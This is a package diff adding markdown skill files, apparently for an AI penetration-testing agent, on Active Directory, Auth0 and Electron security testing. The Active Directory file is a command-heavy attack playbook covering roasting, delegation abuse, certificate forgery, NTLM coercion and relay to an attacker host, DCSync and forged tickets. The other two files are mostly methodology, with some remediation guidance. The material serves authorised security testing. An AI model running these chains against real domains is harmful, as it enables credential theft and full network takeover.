@gpzhang2001/sharpkit-skills 0.2.1

package/skills/technologies/active_directory.md

@@ -0,0 +1,233 @@
+---
+name: active-directory
+description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
+---
+
+# Active Directory
+
+Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
+
+## Attack Surface
+
+**Core services (per domain controller)**
+- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
+- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
+- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
+- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
+- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
+
+**Principals & objects**
+- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
+- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
+- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
+
+**Trust boundaries**
+- Intra-forest (parent/child), inter-forest, external, SID history
+- `MachineAccountQuota` (default 10 → any user can join computer accounts)
+
+## Reconnaissance
+
+**Anonymous / pre-auth (no creds)**
+```
+# Domain + naming context from LDAP rootDSE
+nmap -Pn -p 389 --script ldap-rootdse <DC>
+# SMB null session / signing / OS
+nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
+enum4linux-ng -A <DC>
+# Username-less user enum via Kerberos pre-auth
+kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
+```
+
+**Authenticated enumeration (any valid user)**
+```
+nxc ldap <DC> -u <USER> -p <PASS>                       # confirm creds + domain info
+nxc smb <SUBNET> -u <USER> -p <PASS> --shares           # readable/writable shares
+nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
+ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
+```
+
+**BloodHound graph (the single most valuable step)**
+```
+bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
+# or, remote SharpHound-equivalent collector:
+nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
+```
+Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
+
+## Key Vulnerabilities
+
+### Kerberos Roasting
+
+**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
+```
+nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
+# or impacket
+GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
+hashcat -m 13100 kerb.txt wordlist.txt
+```
+
+**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
+```
+GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
+hashcat -m 18200 asrep.txt wordlist.txt
+```
+
+**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
+
+### Delegation Abuse
+
+- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
+- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
+- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
+```
+# RBCD chain
+addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
+rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
+getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
+```
+
+### AD Certificate Services (ESC1-ESC17)
+
+AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
+```
+certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
+```
+- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
+  ```
+  certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
+  certipy auth -pfx administrator.pfx -dc-ip <DC_IP>          # → NT hash / TGT
+  ```
+- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
+- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
+
+### NTLM Coercion & Relay
+
+Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
+```
+# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
+ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
+ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+# 2. Coerce a target to authenticate
+coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
+PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC>          # MS-EFSR
+printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP>   # MS-RPRN
+```
+LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
+
+### DACL / Object Abuse
+
+From BloodHound edges:
+- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
+- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
+- **ForceChangePassword** → reset a target's password.
+- **AddMember** on a privileged group → self-add.
+- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
+```
+# Shadow Credentials (no password reset needed, stealthier)
+certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
+# bloodyAD for generic DACL edits
+bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
+```
+
+### Credential Access & Domain Dominance
+
+- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
+  ```
+  secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
+  nxc smb <DC> -u <USER> -p <PASS> --ntds        # full NTDS.dit
+  ```
+- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
+- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
+- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
+
+### Known unauthenticated CVEs (patch-dependent)
+
+- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
+- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
+- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
+Confirm with a version/patch check before firing — these are destructive.
+
+## Advanced Techniques
+
+- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
+- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
+- **SID history injection** across trusts for cross-domain/forest escalation.
+- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
+- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
+
+## Testing Methodology
+
+1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
+2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
+3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
+4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
+5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
+6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
+7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
+8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
+
+## Validation
+
+1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
+2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
+3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
+4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
+5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
+
+## False Positives
+
+- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
+- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
+- Delegation flags present but the account is disabled or the target SPN is unreachable.
+- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
+- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
+- "Writable" share that only exposes a redirected/quarantined path with no useful content.
+
+## Impact
+
+- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
+- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
+- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
+- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
+
+## Pro Tips
+
+1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
+2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
+3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
+4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
+5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
+6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
+7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
+
+## Tooling
+
+**None of the AD tools below ship in the sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
+
+```
+# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
+pipx install impacket
+pipx install netexec            # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
+pipx install certipy-ad         # AD CS enum + ESC1-ESC17 abuse, shadow credentials
+pipx install bloodhound-ce      # bloodhound-ce-python collector (BloodHound CE ingestor)
+pipx install coercer            # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
+pipx install bloodyAD           # DACL / LDAP object edits over LDAP
+pipx install ldapdomaindump     # LDAP dumper (bloodhound.py author)
+go install github.com/ropnop/kerbrute@latest   # kerbrute (Go) — user enum / pre-auth brute
+
+# Kali apt packages
+sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
+```
+
+- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
+- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
+- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
+- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
+- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
+- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
+
+Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
+
+## Summary
+
+AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.

package/skills/technologies/auth0.md

@@ -0,0 +1,188 @@
+---
+name: auth0
+description: Auth0 tenant security testing covering misconfigured rules/actions, scope escalation, MFA bypass, and cross-application token confusion
+---
+
+# Auth0
+
+Auth0 misconfigurations enable account takeover, cross-tenant data access, and privilege escalation through Rules/Actions, loose application settings, weak API authorization, and token acceptance bugs in consuming applications. Test both the Auth0 tenant configuration and how downstream APIs validate Auth0-issued tokens.
+
+## Attack Surface
+
+**Auth0 Components**
+- Applications: SPA, Regular Web, Native, Machine-to-Machine (M2M)
+- APIs (Resource Servers): identifiers, scopes, RBAC, permissions
+- Connections: database, social, enterprise (SAML/OIDC)
+- Rules (legacy) and Actions (post-login, pre-user-registration, credentials exchange)
+- Organizations (multi-tenant B2B), roles, permissions
+- Universal Login, custom domains, custom database scripts
+
+**Token Types**
+- ID Token (OIDC), Access Token (JWT or opaque), Refresh Token
+- Management API tokens, client credentials tokens (M2M)
+- PAR, PKCE flows for public clients
+
+**Management**
+- Auth0 Management API (`/api/v2/`)
+- Tenant settings, attack protection, MFA policies, anomaly detection
+- Logs streaming, hooks, custom prompts
+
+## Reconnaissance
+
+**Tenant Discovery**
+```
+# From app config, JS bundles, mobile apps
+domain: tenant.us.auth0.com / tenant.eu.auth0.com / login.customdomain.com
+client_id, audience, scope values in authorize URLs
+```
+
+**OIDC Discovery**
+```
+GET https://TENANT.auth0.com/.well-known/openid-configuration
+GET https://TENANT.auth0.com/.well-known/jwks.json
+```
+
+**Authenticated Userinfo** (requires bearer access token — unauthenticated requests return 401)
+```
+GET https://TENANT.auth0.com/userinfo
+Authorization: Bearer <access_token>
+```
+
+**Application Fingerprint**
+- Login redirect to `https://TENANT.auth0.com/authorize?client_id=...`
+- `auth0-js`, `@auth0/auth0-spa-js`, `auth0-react` in frontend bundles
+- API `audience` parameter in token requests
+
+**Management API Exposure**
+- Leaked M2M credentials with `read:users`, `update:users`, `create:users` scopes
+- Management API called from browser (CORS misconfiguration)
+
+## Key Vulnerabilities
+
+### Application Configuration
+
+**Callback URL / Origin Misconfigurations**
+- Wildcard or overly broad Allowed Callback URLs: `https://app.com/*`, `http://localhost:*`
+- Allowed Logout URLs, Web Origins, CORS origins too permissive
+- Native app custom scheme hijacking (`com.app://callback`)
+
+**Token Settings**
+- ID Token used as API access token (audience/scope confusion)
+- Refresh token rotation disabled; overly long TTL
+- Signing algorithm downgrade if RS256 not enforced downstream
+
+### API Authorization (Resource Server)
+
+**Missing Scope/RBAC Enforcement**
+- API accepts any valid access token without required `scope` or `permissions` claim
+- RBAC enabled in Auth0 but API doesn't call `/userinfo` or validate `permissions` array
+- Wrong `audience` accepted — token for App A works on App B's API
+
+**Test:**
+```
+# Token for audience A used against API B
+Authorization: Bearer <token_with_audience_A>
+```
+
+### Rules and Actions Abuse
+
+**Post-Login Rule/Action Injection**
+- Rules that add claims based on unvalidated user metadata:
+  ```javascript
+  user.app_metadata.role = 'admin'  // if user can set app_metadata via signup/API
+  ```
+- `context.authorization` manipulation in Actions
+- Secrets in Rule code exposed to tenant admins or via Management API leak
+
+**Signup / Registration Actions**
+- `pre-user-registration` not blocking disposable emails or role self-assignment
+- Social connection account linking without verified email → account takeover
+
+### Organizations (B2B Multi-Tenancy)
+
+- Missing `org_id` validation in API — user from Org A accesses Org B data
+- Invitation flows accepting attacker email domains
+- Organization membership not re-checked after role change
+
+### MFA Bypass
+
+- MFA not enforced on Management API or high-risk applications
+- Remember-browser cookie bypasses step-up for sensitive actions
+- MFA challenge only on Universal Login but API accepts password-grant tokens without MFA
+- Recovery codes/brute-force on enrollment endpoints
+
+### Account Takeover Vectors
+
+- Password reset link not invalidated after use; predictable reset tokens
+- Email verification not required before sensitive actions
+- Change password without re-auth or MFA
+- Linking attacker's social IdP to victim account (same email, unverified)
+
+### Management API
+
+- M2M app with excessive scopes: `delete:users`, `update:users_app_metadata`
+- Management API token in frontend JavaScript or mobile app
+- Rate limiting absent on `/api/v2/users` enumeration
+
+### Custom Database Scripts
+
+- Custom login script with SQL injection in username lookup
+- `get_user` script returning excessive profile fields
+- Scripts with hardcoded credentials or weak hashing
+
+## Advanced Techniques
+
+**Cross-Application Token Confusion**
+- Same `client_secret` reused across environments (dev/prod)
+- Multiple APIs sharing signing keys without `aud` validation
+
+**Resource Owner Password Grant (if enabled)**
+- Legacy grant enabled — direct username/password to token endpoint, bypassing Universal Login MFA
+
+**Impersonation / Delegation**
+- `act_as` or delegation features misconfigured (legacy features in older tenants)
+
+## Testing Methodology
+
+1. **Extract tenant config** — Domain, client_id, audience, scopes from app
+2. **Callback/origin matrix** — Fuzz Allowed Callback URLs and Web Origins
+3. **Token validation** — Swap audiences, strip scopes, expired tokens, wrong signing keys
+4. **Org boundary** — Two org users accessing each other's org-scoped resources
+5. **MFA policy** — Sensitive actions without step-up; API paths bypassing MFA
+6. **Management API** — Hunt for leaked M2M creds; test scope boundaries
+7. **Rules/Actions** — Trace claim injection from `user_metadata` / `app_metadata`
+
+## Validation
+
+1. Demonstrate account takeover or cross-org access with token/callback/metadata abuse
+2. Show API accepting token without required scope/permission/audience
+3. MFA bypass PoC on protected application flow
+4. Document Auth0 setting (Rule, Application config, API RBAC) root cause
+5. Provide authorize → callback → API request chain with evidence
+
+## False Positives
+
+- Callback URL validation rejects all fuzz attempts consistently
+- API validates `aud`, `iss`, `scope`/`permissions` on every request
+- MFA enforced via Auth0 Action on every login for sensitive apps
+- `app_metadata` writable only by admin via Management API, not user signup
+- Organizations feature correctly binds `org_id` in token and API enforces it
+
+## Impact
+
+- Full account takeover across Auth0-connected applications
+- Cross-tenant data breach in B2B org deployments
+- Privilege escalation via metadata/claim injection in Rules
+- Mass user enumeration/modification via Management API abuse
+
+## Pro Tips
+
+1. Always capture full authorize URL — `audience` and `scope` reveal API targets
+2. Decode access token JWT — check `permissions`, `scope`, `org_id`, `https://.../roles` claims
+3. Test dev/stage tenants separately — often weaker callback rules
+4. Pair with `oauth` and `authentication_jwt` skills for flow/token layer testing
+5. Management API M2M creds in CI logs are high-value — search GitHub, buckets, artifacts
+
+## Summary
+
+Auth0 security spans tenant configuration (callbacks, MFA, Rules) and downstream API token validation (`aud`, `scope`, `permissions`, `org_id`). A perfectly configured Universal Login fails if the API accepts tokens without enforcing Auth0's authorization model.

package/skills/technologies/electron_desktop_apps.md

@@ -0,0 +1,181 @@
+---
+name: electron-desktop-apps
+description: Test Electron desktop applications across renderer, preload, IPC, main-process, navigation, custom-protocol, storage, permission, and update trust boundaries; use for packaged Electron apps, ASAR review, web-to-native capability analysis, and Electron-specific exploit chains
+---
+
+# Electron Desktop Applications
+
+Use this skill for Electron applications. Other webview desktop frameworks may share the high-level web-to-native trust question, but their bridge, sandbox, update, and process APIs differ; do not apply Electron-specific conclusions to NW.js, CEF, Tauri, or Wails without mapping that framework separately.
+
+Pair this skill with `browser_security` for browser state and navigation, `xss` for renderer injection, `argument_injection` for native subprocess launches, and `insecure_deserialization` or `rce` for a main-process sink.
+
+## Architecture and Authority Map
+
+Inventory each security principal and the capabilities crossing between them:
+
+```text
+origin + document + frame
+  -> renderer JavaScript
+  -> preload isolated world
+  -> contextBridge API
+  -> IPC channel
+  -> sender/argument/identity checks
+  -> main process or utility process
+  -> filesystem, process, credential, media, network, update, or OS action
+```
+
+Record:
+
+- Electron, Chromium, Node, and application versions
+- packaging form, `app.asar`, unpacked resources, entry point, and fuses
+- every `BrowserWindow`, `WebContentsView`, `<webview>`, session/partition, and child window
+- `webPreferences`: `preload`, `nodeIntegration`, `contextIsolation`, `sandbox`, `webSecurity`, `allowRunningInsecureContent`, experimental features, and subframe/worker integration
+- every preload export and every `ipcMain.handle`/`ipcMain.on` consumer
+- origins/documents/frames that can reach each exported API
+- custom protocols, deep links, navigation helpers, permissions, downloads, storage, and update channels
+
+Do not infer authority from a setting or channel name alone. Follow one request from renderer input to the main-process side effect and record each authorization decision.
+
+## Package and Source Reconnaissance
+
+Extract the application bundle with a reviewed, version-pinned ASAR implementation or inspect an already unpacked `resources/app` tree. Locate `package.json#main`, preload paths, build metadata, Electron version, native modules, and update configuration.
+
+Search for:
+
+```text
+BrowserWindow  WebContentsView  webviewTag  webPreferences
+preload  contextBridge.exposeInMainWorld  ipcRenderer
+ipcMain.handle  ipcMain.on  webContents.ipc
+will-navigate  will-frame-navigate  will-redirect
+setWindowOpenHandler  loadURL  loadFile  openExternal
+setPermissionRequestHandler  registerSchemesAsPrivileged
+setAsDefaultProtocolClient  open-url  second-instance
+autoUpdater  electron-updater
+```
+
+Treat decompiled or bundled JavaScript as a hypothesis when source maps, minification, generated IPC bindings, or runtime feature flags can change the installed behavior.
+
+## Preload and Context-Bridge Analysis
+
+A preload script has privileged Electron/Node access even when `nodeIntegration` is disabled. With context isolation, it can still expose selected functions and values into the page's main world.
+
+Classify every export:
+
+- narrow operation with fixed channel and validated arguments
+- caller-selected channel or event name
+- direct exposure of `ipcRenderer`, Node/Electron modules, filesystem/process objects, or mutable privileged objects
+- callback/event registration that leaks the raw IPC event or privileged objects
+- secret/session/storage access
+- operation whose authorization exists only in renderer JavaScript
+
+A generic `send(channel, ...)` or `invoke(channel, ...)` bridge expands the renderer's candidate capability set, but the registered handler list is not the ACL. For each handler, inspect:
+
+- `event.senderFrame` URL/origin and frame identity validation
+- expected `webContents`, window, session/partition, and application state
+- user/tenant authorization and request provenance
+- argument schema, paths, URLs, command options, and object deserialization
+- result exposure and event subscriptions
+
+An IPC handler's existence does not prove an untrusted frame can invoke it successfully.
+
+## Navigation and Window Boundaries
+
+Web preferences belong to a `webContents`; navigation does not automatically turn a privileged window into an ordinary browser tab. A configured preload can run for newly loaded documents and expose its bridge to content that was never intended to receive it.
+
+Map all navigation causes:
+
+- user- or page-initiated main-frame navigation (`will-navigate`)
+- subframe navigation (`will-frame-navigate`)
+- server redirects (`will-redirect`)
+- new windows and popups (`setWindowOpenHandler`)
+- application calls to `loadURL`, `loadFile`, history APIs, or routing helpers
+- custom-protocol redirects and external-link handlers
+
+`will-navigate` does not cover every programmatic navigation, so the event's presence is not complete enforcement.
+
+Parse candidate URLs with `URL` and compare explicit protocol, origin/host, port, and path rules. Do not use string-prefix checks such as `startsWith("https://trusted.example")`. Apply the same canonical policy to initial loads, redirects, frames, popups, programmatic loads, and externally opened URLs.
+
+Before calling `shell.openExternal`, validate the scheme and complete destination expected by the feature. Treat `file:`, custom schemes, handler-specific arguments, credentials in URLs, and ambiguous encodings as separate cases.
+
+## Node, Isolation, and Sandbox Settings
+
+- `nodeIntegration: true` in a renderer that can execute untrusted script directly exposes Node capability and commonly turns renderer injection into native code execution.
+- `contextIsolation: false` weakens the boundary between page and preload worlds but is not, by itself, proof of native code execution.
+- `sandbox: false` removes Chromium process isolation; determine which preload or renderer capabilities become reachable rather than reporting the flag alone.
+- `webSecurity: false`, `allowRunningInsecureContent`, permissive experimental features, and unsafe `<webview>` preferences change separate browser boundaries and must be traced to an exploit path.
+- `nodeIntegrationInSubFrames` and preload injection into frames require frame-by-frame sender and origin analysis.
+
+Record Electron-version defaults. A missing explicit setting can mean different behavior on different major releases.
+
+## Custom Protocols and Deep Links
+
+Treat OS-delivered URLs and second-instance command lines as attacker-controlled inputs:
+
+```text
+OS handler / browser / document
+  -> custom scheme or argv
+  -> URL/argument parsing
+  -> application router
+  -> renderer navigation or native operation
+```
+
+Test authority and parser boundaries for host/path normalization, duplicate parameters, encoding depth, file paths, option injection, and cross-profile/account routing. Confirm which application instance and user session receives the event.
+
+For custom application protocols, record whether the scheme is registered as secure, standard, CORS-enabled, stream-capable, or privileged, and how that affects origin and storage behavior.
+
+## Permissions, Storage, and Secrets
+
+Map session permission handlers for media, notifications, geolocation, clipboard, display capture, USB/HID/serial, filesystem access, and external protocols. Verify decisions use the requesting frame/origin and cannot be inherited from a more trusted window.
+
+Inventory secrets and capability-bearing state reachable from renderer or preload code:
+
+- tokens, cookies, session identifiers, recovery material, and encryption keys
+- IndexedDB, local/session storage, cookies, cache, filesystem databases, and keychain wrappers
+- local service ports, named pipes, Unix sockets, and authentication material
+
+At-rest encryption does not protect data when the renderer can retrieve the key or ask a privileged bridge to decrypt it.
+
+## Updates and Native Extensions
+
+Trace the update pipeline as an executable supply chain:
+
+- feed URL and channel selection
+- TLS identity, redirects, proxy behavior, and metadata parsing
+- artifact signature and publisher verification
+- version/rollback policy and staged update state
+- native modules, helper binaries, installers, and post-update hooks
+
+An attacker-controlled feed is not automatically native code execution if independent artifact signatures are mandatory. Conversely, HTTPS does not compensate for missing artifact authenticity or unsafe rollback behavior.
+
+## Validation
+
+- Record the exact installed build, Electron version, preferences, preload, handler, and current document/frame origin.
+- Demonstrate the complete path from attacker-controlled input or renderer state to the main-process operation.
+- Capture sender-validation and argument-validation outcomes, not only successful IPC transport.
+- Re-test after cross-origin navigation, redirect, frame creation, window creation, and session/profile changes.
+- Separate renderer script execution, bridge access, accepted IPC, privileged data access, filesystem/process control, and native code execution.
+
+## False Positives
+
+- A preload or handler exists but the tested document/frame cannot reach it.
+- A channel is registered but rejects the sender, identity, state, or arguments.
+- `contextIsolation` or sandboxing is disabled without a reachable privileged API.
+- Navigation is blocked on user links but still possible through application code, or vice versa.
+- A remote page has no preload export, Node integration, IPC route, or privileged permission.
+- An update feed is mutable but every artifact and version transition is independently authenticated.
+- A secret-looking value is scoped to synthetic/test data or cannot authorize any downstream action.
+
+## Remediation
+
+- Load local application UI and isolate remote content in an unprivileged `WebContentsView` or external browser.
+- Keep Node integration disabled, context isolation enabled, and renderer sandboxing enabled.
+- Expose narrow preload APIs with fixed operations and strict schemas.
+- Validate every IPC sender frame, application identity, authorization context, and argument in the main process.
+- Parse and allowlist navigation destinations consistently across every navigation path.
+- Restrict permissions per session and requesting origin.
+- Keep credentials and encryption keys outside renderer reach.
+- Authenticate update metadata and artifacts, enforce rollback policy, and pin publishers.
+
+## Summary
+
+Electron security depends on which document and frame can reach which native capability. Map navigation, preload exports, IPC sender checks, permissions, storage, protocols, and updates as one authority graph, then validate the entire path to the privileged operation.